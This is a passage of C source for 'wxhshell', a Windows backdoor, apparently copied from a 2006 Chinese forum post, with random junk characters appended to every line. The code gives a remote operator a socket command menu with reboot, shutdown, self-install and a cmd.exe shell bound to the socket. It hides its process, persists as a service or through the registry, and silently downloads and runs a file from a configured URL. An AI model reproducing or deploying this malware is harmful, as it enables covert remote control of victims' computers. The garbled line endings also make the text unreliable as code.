G% wVQ|1  
    switch(cmd[0]) { i>!7/o  
  [6@{^  
  // 帮助 sY4sq5'!  
  case '?': { %T]NM3|U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IwC4fcZX6  
    break; 0be1aY;m&  
  } ]3@6o*R;  
  // 安装 pkjf5DWp  
  case 'i': { I@VhxJh  
    if(Install()) iB[>uW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tlw$/tMa  
    else ]>R|4K_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ReTfz;o  
    break; QJc3@  
    } ~b+TkPU   
  // 卸载 Qq;` 9-&j  
  case 'r': { H`/Q hE  
    if(Uninstall()) W=T3sp V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KlMrM% ;y  
    else %} WSw~X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y2k '^zE  
    break; jU2Dpxkt  
    } [%(}e1T(  
  // 显示 wxhshell 所在路径 'P{0K?{H-4  
  case 'p': { Fw!wSzsk3  
    char svExeFile[MAX_PATH]; )Lht}I ]:  
    strcpy(svExeFile,"\n\r"); I`"8}d@Jm  
      strcat(svExeFile,ExeFile); J+f .r|?  
        send(wsh,svExeFile,strlen(svExeFile),0); n}9vAvC  
    break; 6AeX$>k+  
    } "0o1M\6Z  
  // 重启 fj X~"U  
  case 'b': { ZD{%0 uh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xz)UH<  
    if(Boot(REBOOT)) 'Eds0"3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -x~h.s,  
    else { m9bR %j  
    closesocket(wsh); &jCT-dj  
    ExitThread(0); * z|i{=W F  
    } Wx#((T  
    break; fUQuEh5_  
    } q[4{Xh  
  // 关机 T"1H%65`V  
  case 'd': { <ijf':X=*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1@Dp<Q  
    if(Boot(SHUTDOWN)) 3V:{_~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44 bTx y  
    else { }qy,/<R  
    closesocket(wsh); ~m^.&mv3/  
    ExitThread(0); ~ZeF5  
    } 85; BS'  
    break; ' uvTOgP,  
    } Rd6? ,  
  // 获取shell J2cqnwUV  
  case 's': { Wz)O,X^  
    CmdShell(wsh); 0yW#).D^b  
    closesocket(wsh); `>CHE'_  
    ExitThread(0); fl| 8#\r  
    break; m1@ste;$W  
  } C"bG?Mb  
  // 退出 `f.okqBAh  
  case 'x': { Fu4LD-#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z @\C/wX  
    CloseIt(wsh); &$yC +cf  
    break; n4Fh*d ixg  
    } 8A/;a{   
  // 离开 Wyu$J  
  case 'q': { 4Q2=\-KFj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }7iWmXlI  
    closesocket(wsh); PI{;3X}9$,  
    WSACleanup(); ;J|sH>i  
    exit(1); JmDi{B?  
    break; j^ L"l;m  
        } Cz=HxU80J  
  } E$5)]<p! <  
  } dQ6:c7hp>D  
|J: n'}  
  // 提示信息 z-<091,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M@$}Og  
} /DOV/>@5%  
  } &u5OL?>  
hE>ux"_2/  
  return; C^ngdba\  
} nn>1OO  
~jdvxoX-  
// shell模块句柄 ^LfN6{  
int CmdShell(SOCKET sock) H/8H`9S$  
{ <CrNDY  
STARTUPINFO si; ACQc 0:q  
ZeroMemory(&si,sizeof(si)); mQ 1)d5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uC{qaMQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JCoDe.  
PROCESS_INFORMATION ProcessInfo; X0<qG  
char cmdline[]="cmd"; P:GAJ->;]>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *^j'G^n  
  return 0; R`}C/'Ty  
} 7_Yxz$m  
I&9_F% rX  
// 自身启动模式 "YU<CO;4VV  
int StartFromService(void)  8bQ\7jb  
{ l*^J}oY  
typedef struct W[trsFP1?  
{ ML6Y_|6 |  
  DWORD ExitStatus; H;('h#=cD  
  DWORD PebBaseAddress; kev|AU (WX  
  DWORD AffinityMask; 6H+'ezM  
  DWORD BasePriority; ^%(HZ'$wC  
  ULONG UniqueProcessId; f681i(q"  
  ULONG InheritedFromUniqueProcessId; cM&5SyxiuE  
}   PROCESS_BASIC_INFORMATION; ~JjL411pG  
+/u)/ey  
PROCNTQSIP NtQueryInformationProcess; E`#m0Q(8  
RLBeti>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x*}41;j}C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <9zzjgzG{c  
*&$J.KM  
  HANDLE             hProcess; %UIR GI  
  PROCESS_BASIC_INFORMATION pbi; r)Q/YzXx*  
|C:^BWrU*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8<BYAHY^  
  if(NULL == hInst ) return 0; #-76E  
vW`Dy8`06  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "B18|#v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L eg)q7n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RmF,x9  
\ G}02h  
  if (!NtQueryInformationProcess) return 0; 0#\K9|.  
i?+ZrAx>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cd_\?7  
  if(!hProcess) return 0; JbT+w \o  
#2*l"3.$.R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P2HR4`c  
CPJ8G}4  
  CloseHandle(hProcess); 9a\H+Y~  
Ziclw)   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;bz|)[4/  
if(hProcess==NULL) return 0; "Zk# bQ2j  
:H9\nU1  
HMODULE hMod; f3,qDbQyJ  
char procName[255]; >Z0F n  
unsigned long cbNeeded; xJCMxt2Y  
X[' VZz7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B4tC3r  
F"p7&e\W|l  
  CloseHandle(hProcess); JQ5E;8J>  
CC{*'p6  
if(strstr(procName,"services")) return 1; // 以服务启动 yT[CC>]l  
JmMB=} <  
  return 0; // 注册表启动 Xe;Eu  
} ;<=Z\NX  
@bPR"j5D  
// 主模块 /j7e q  
int StartWxhshell(LPSTR lpCmdLine) 4:umD*d 3E  
{ hw2'.}B"(  
  SOCKET wsl; #vwK6'z  
BOOL val=TRUE; -cDS+ *[  
  int port=0; ?vA)F)MS   
  struct sockaddr_in door; .h({P#QT  
Uc>kiWW  
  if(wscfg.ws_autoins) Install(); !VLk|6mn  
G6W_)YL  
port=atoi(lpCmdLine); }s+ t*z  
ibzcO,c  
if(port<=0) port=wscfg.ws_port; y]3`U UvXD  
dO?zLc0f  
  WSADATA data; &xhwx>C`K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p\;\hHai  
jl-2)<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Whoqs_Mm{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qV;E% XkkS  
  door.sin_family = AF_INET; u{| Q[hf[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EC9bCd-z  
  door.sin_port = htons(port); #@pgB:~lB  
b#uNdq3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "|N58%  
closesocket(wsl); o7gYj\  
return 1; KjWF;VN*[3  
} I |PEC-(  
vR"?XqgZ  
  if(listen(wsl,2) == INVALID_SOCKET) { PpXzWWU":  
closesocket(wsl); GGM|B}U p  
return 1; [zC1LTXe  
} CdEQiu  
  Wxhshell(wsl); EF>vu+YK  
  WSACleanup(); ]|JQH  
IOfxx>=3  
return 0; h.Y&_=Gc  
ddTsR  
} lF*}l  
^`~s#L7  
// 以NT服务方式启动 $&25hvK,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rCK   
{ %>p[;>jW  
DWORD   status = 0; G_m$?0\  
  DWORD   specificError = 0xfffffff; LoUHStt  
\T'.b93~B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |~K 5]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /b1+ ^|_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y YE{zU  
  serviceStatus.dwWin32ExitCode     = 0; o*k.je1  
  serviceStatus.dwServiceSpecificExitCode = 0; jo-2D[Q{  
  serviceStatus.dwCheckPoint       = 0; V),wDyi  
  serviceStatus.dwWaitHint       = 0; uI9eUO  
`e`}dgf0S|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D%`O.2T Y|  
  if (hServiceStatusHandle==0) return; !1b}M/Wx  
[X9T$7q#  
status = GetLastError(); DX2_} |$!  
  if (status!=NO_ERROR) SD/=e3  
{ cp:U@Nh(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 40e(p/Qka  
    serviceStatus.dwCheckPoint       = 0; bmOK 8  
    serviceStatus.dwWaitHint       = 0; \DiAfx<Ub  
    serviceStatus.dwWin32ExitCode     = status; }s7@0#j@a  
    serviceStatus.dwServiceSpecificExitCode = specificError; OXxgnn>W'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/e*P*\ =  
    return; FNN7[ku!  
  } QGCg~TV;  
o&t*[#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~|lEi1|  
  serviceStatus.dwCheckPoint       = 0; @3w6 !Sgh  
  serviceStatus.dwWaitHint       = 0; *b}/fG)XZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]x1;uE?1J  
} &lCOhP#  
a1>Tz  
// 处理NT服务事件,比如:启动、停止 sSLV R^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P5JE = &M  
{ bJ"}-s+Dx  
switch(fdwControl) I!?)}d  
{ q90 ~)n?  
case SERVICE_CONTROL_STOP: G$^u2wz.  
  serviceStatus.dwWin32ExitCode = 0; <(!~s><.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \N%L-%^  
  serviceStatus.dwCheckPoint   = 0; :hBLi99 o  
  serviceStatus.dwWaitHint     = 0; %A3ci[$g  
  { 2/iBk'd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B:>>D/O  
  } ?NVX# t'  
  return; qEvbKy}  
case SERVICE_CONTROL_PAUSE: u?F^gIw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O:]e4r,'  
  break; | |u  
case SERVICE_CONTROL_CONTINUE: %ws@t"aER  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %p(X*mVX  
  break; ~eyZH8&  
case SERVICE_CONTROL_INTERROGATE: p)qM{`]G\  
  break; 1`sTGNo  
}; ,bxGd!&{Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >1qum'  
} 8U%y[2sT  
M?d(-en  
// 标准应用程序主函数 0;L.h|R T(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h3[x ZJO  
{ [ KDNKK  
Z?<&@YQS  
// 获取操作系统版本 uhm3}mWv  
OsIsNt=GetOsVer(); h:AB`E1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >g;995tG  
ei82pLM z  
  // 从命令行安装 Qp;FVUw9  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;04< 9i  
arc{:u.K  
  // 下载执行文件 w.(?O;  
if(wscfg.ws_downexe) { |\U5m6q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >|pN4FS  
  WinExec(wscfg.ws_filenam,SW_HIDE); a0jzt!ci  
} ydTd.`  
Sc?q}tt^C  
if(!OsIsNt) { aF{1V \e  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hva/C{Y  
HideProc(); Ftdx+\O_i&  
StartWxhshell(lpCmdLine); %,+&Kl I  
} z.~jqxA9  
else p=[SDk`  
  if(StartFromService()) m@W>ku  
  // 以服务方式启动 Eq=j+ch7  
  StartServiceCtrlDispatcher(DispatchTable); 2@!B;6*8q  
else r+ usMF<'  
  // 普通方式启动 #0:rBKm,  
  StartWxhshell(lpCmdLine); /?1^&a  
[a!)w@I:  
return 0; U/A [al  
}
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只看该作者 1 发表于: 2006-10-10
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